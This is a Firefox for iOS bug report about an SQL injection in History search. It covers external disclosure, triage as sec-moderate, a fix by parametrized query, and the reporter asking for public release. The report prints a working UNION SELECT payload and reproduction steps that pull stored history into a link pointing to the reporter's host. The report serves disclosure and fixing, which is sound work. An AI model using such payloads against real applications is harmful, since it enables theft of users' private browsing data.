SQL injection in History tab on Firefox iOS
Categories
(Firefox for iOS :: General, defect)
Tracking
()
Tracking | Status | |
---|---|---|
fxios | 101 | --- |
People
(Reporter: sdna.muneaki.nishimura, Assigned: nish.bhasin)
References
()
Details
(Keywords: reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form])
Attachments
(2 files)
In Firefox iOS, the following SQL query incorporates the variable searchTerm
as a string.
https://github.com/mozilla-mobile/firefox-ios/blob/b0efb5ad72289b40d912ae0fa9230b6a524679a0/Storage/SQL/SQLiteHistory.swift#L622
The searchTerm
can be specified externally, so SQL injection can be triggered.
The steps to reproduce the injection are below.
(1) Visit https://csrf.jp/2022/fxios/history.php
(2) Tap the link on the page, and the attack payload will be stored in your clipboard
(3) Open History tab from the hamburger menu and tap the magnifying glass icon
(4) Paste the search word from your clipboard, then you can see the following payload in the text input field
a" union select 1,'','https://csrf.jp/2022/fxios/history.php?'||group_concat(media_url), 'Click Me!',1,1,1,1,1 from page_metadata;
(5) One history record that name is "click me!" is shown in the history list
(6) Tap the record, then your history data will be stolen to the malicious page
The attached is a video demonstration of the above attack.
Updated•3 years ago
|
Comment 1•3 years ago
|
||
Confirming this as a sec-moderate. It is quite bad and we need to fix this, which should be somewhat easy.
The exploit requires user interaction in a somewhat unlikely place, otherwise this could be rated sec-high.
Muneaki: let us know if you manage to improve the attack and we will consider re-evaluating.
Jeremy: Can you help find someone to fix this?
Updated•3 years ago
|
Ticket is now tracked with https://mozilla-hub.atlassian.net/browse/FXIOS-4183 in our JIRA board.
Assignee | ||
Comment 3•3 years ago
|
||
Thanks Laurie for the ticket 🙏
Frederik, we'll bring it in our next sprint but as we discussed this wouldn't change our release cycle and will most likely go out in our next release.
Adding parametrized query to handle injections. Link to PR https://github.com/mozilla-mobile/firefox-ios/pull/10676
Comment 5•3 years ago
|
||
LGTM. Please close this ticket once the fix has landed.
Reporter | ||
Comment 6•3 years ago
|
||
I have checked that the issue has been fixed in the latest release v100.1. So I think this ticket can be closed.
Updated•3 years ago
|
Updated•2 years ago
|
Updated•2 years ago
|
Updated•6 months ago
|
Reporter | ||
Comment 8•4 months ago
|
||
Hello! Could you make this bug ticket accessible to the public?
As time has passed since the fix and this product is now already secure, I'd like to make this hacktivity details available for anyone to reference.
Updated•3 months ago
|
Description
•